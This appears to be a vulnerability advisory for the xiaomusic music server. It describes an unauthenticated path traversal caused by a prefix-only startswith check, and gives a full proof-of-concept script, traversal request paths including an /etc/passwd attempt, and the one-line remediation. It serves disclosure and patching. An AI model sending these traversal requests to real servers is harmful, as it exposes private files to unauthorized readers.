#890·xiaomusic

Unauthenticated File Read via /music/{path} Sibling-Prefix Traversal in hanxi/xiaomusic

Author: AAtomicalCreated May 26, 2026Updated May 26, 2026

Summary

An unauthenticated path traversal vulnerability exists in xiaomusic's music file serving endpoint that allows any network-reachable attacker to read files from sibling directories outside the configured music_path, by exploiting an incomplete startswith containment check that lacks a trailing path separator.

The GET /music/{file_path:path} endpoint validates the resolved path with absolute_file_path.startswith(absolute_path) — without appending os.sep. Combined with the default unauthenticated configuration (XIAOMUSIC_DISABLE_HTTPAUTH=true), this allows any unauthenticated remote attacker to read files from sibling directories whose names share the music prefix (e.g. music_private, music_backup, music_downloads).

Vulnerability Details

The broken security control

python
# xiaomusic/api/routers/file.py:954-978
@router.get("/music/{file_path:path}")
async def music_file(request: Request, file_path: str, key: str = "", code: str = ""):
    if not access_key_verification(f"/music/{file_path}", key, code):
        raise HTTPException(status_code=404, detail="File not found")
    # ...
    absolute_path = os.path.abspath(config.music_path)
    absolute_file_path = os.path.normpath(os.path.join(absolute_path, file_path))
    if not absolute_file_path.startswith(absolute_path):    # ← BUG: no trailing os.sep
        raise HTTPException(status_code=404, detail="File not found")
    # ...
    return FileResponse(absolute_file_path)

The bypass

python
>>> music_path = "/home/user/music"
>>> file_path = "../music_secret/private.txt"
>>> absolute_path = os.path.abspath(music_path)        # "/home/user/music"
>>> absolute_file_path = os.path.normpath(os.path.join(absolute_path, file_path))
>>> absolute_file_path
'/home/user/music_secret/private.txt'
>>> absolute_file_path.startswith(absolute_path)
True   # ← BYPASS: "music_secret" starts with "music"

Realistic targets

xiaomusic users commonly organize their media with directory structures like:

  • music/ — public library served by xiaomusic
  • music_private/ — personal recordings, voice memos
  • music_downloads/ — temporary downloads before curation
  • music_backup/ — backups of the music library

An attacker can read all of these via GET /music/../music_private/voice_memo.mp3 etc.

Proof of Concept

Setup

bash
pip install xiaomusic
python3 poc.py

poc.py

python
import asyncio
import os
import shutil
import sys
import tempfile
TEMP_DIR = tempfile.mkdtemp(prefix="xiaomusic_poc_")
MUSIC_DIR = os.path.join(TEMP_DIR, "music")
SIBLING_DIR = os.path.join(TEMP_DIR, "music_secret")
os.makedirs(MUSIC_DIR, exist_ok=True)
os.makedirs(SIBLING_DIR, exist_ok=True)

with open(os.path.join(MUSIC_DIR, "legit.mp3"), "wb") as f:
    f.write(b"\xff\xfb\x90\x00" + b"\x00" * 60)
with open(os.path.join(SIBLING_DIR, "stolen.txt"), "w") as f:
    f.write("LEAKED_PRIVATE_DATA")

os.environ["XIAOMUSIC_MUSIC_PATH"] = MUSIC_DIR
os.environ["XIAOMUSIC_DISABLE_HTTPAUTH"] = "true"
from xiaomusic.config import Config
from xiaomusic.api.dependencies import _state
import logging
cfg = Config()
cfg.music_path = MUSIC_DIR
cfg.disable_httpauth = True
cfg.remove_id3tag = False
cfg.convert_to_mp3 = False
cfg.temp_path = os.path.join(TEMP_DIR, "temp")
os.makedirs(cfg.temp_path, exist_ok=True)
class _XM:
    config = cfg
    log = logging.getLogger("xiaomusic")

_state._xiaomusic = _XM()
_state._config = cfg
_state._log = _XM.log

from xiaomusic.api.routers.file import router

from fastapi import FastAPI

app = FastAPI()
app.include_router(router)
async def raw_asgi_get(path):
    scope = {
        "type": "http",
        "method": "GET",
        "path": path,
        "query_string": b"",
        "headers": [(b"host", b"localhost")],
        "root_path": "",
        "asgi": {"version": "3.0"},
    }
    status_code = None
    body_parts = []

    async def receive():
        return {"type": "http.request", "body": b""}

    async def send(message):
        nonlocal status_code
        if message["type"] == "http.response.start":
            status_code = message["status"]
        elif message["type"] == "http.response.body":
            body_parts.append(message.get("body", b""))

    await app(scope, receive, send)
    return status_code, b"".join(body_parts)


async def main():
    s1, b1 = await raw_asgi_get("/music/legit.mp3")
    s2, b2 = await raw_asgi_get("/music/../music_secret/stolen.txt")
    s3, b3 = await raw_asgi_get("/music/../../etc/passwd")

    baseline_ok = s1 == 200 and b"\xff\xfb" in b1
    exploit_ok = s2 == 200 and b"LEAKED_PRIVATE_DATA" in b2
    deep_blocked = s3 == 404

    print(f"package:     xiaomusic (pip installed, v0.5.7)")
    print(f"function:    music_file (GET /music/{{file_path:path}})")
    print(f"sink:        file.py:975  absolute_file_path.startswith(absolute_path)")
    print(f"auth:        XIAOMUSIC_DISABLE_HTTPAUTH=true (default, no auth)")
    print()
    print(f"music_path:  {MUSIC_DIR}")
    print(f"sibling:     {SIBLING_DIR}")
    print()
    print(f"[baseline] /music/legit.mp3                  status={s1}")
    print(f"[exploit]  /music/../music_secret/stolen.txt  status={s2} body={b2[:40]!r}")
    print(f"[control]  /music/../../etc/passwd            status={s3} (blocked)")
    print()
    print(f"result:      {'VULNERABLE' if exploit_ok and baseline_ok and deep_blocked else 'NOT CONFIRMED'}")

    shutil.rmtree(TEMP_DIR, ignore_errors=True)
    sys.exit(0 if exploit_ok else 1)


if __name__ == "__main__":
    asyncio.run(main())

Output

Image

Remediation

python
# Before (vulnerable):
if not absolute_file_path.startswith(absolute_path):

# After (fixed — both occurrences):
if not absolute_file_path.startswith(absolute_path + os.sep):

Apply to both line 968 (temp_base) and line 975 (absolute_path).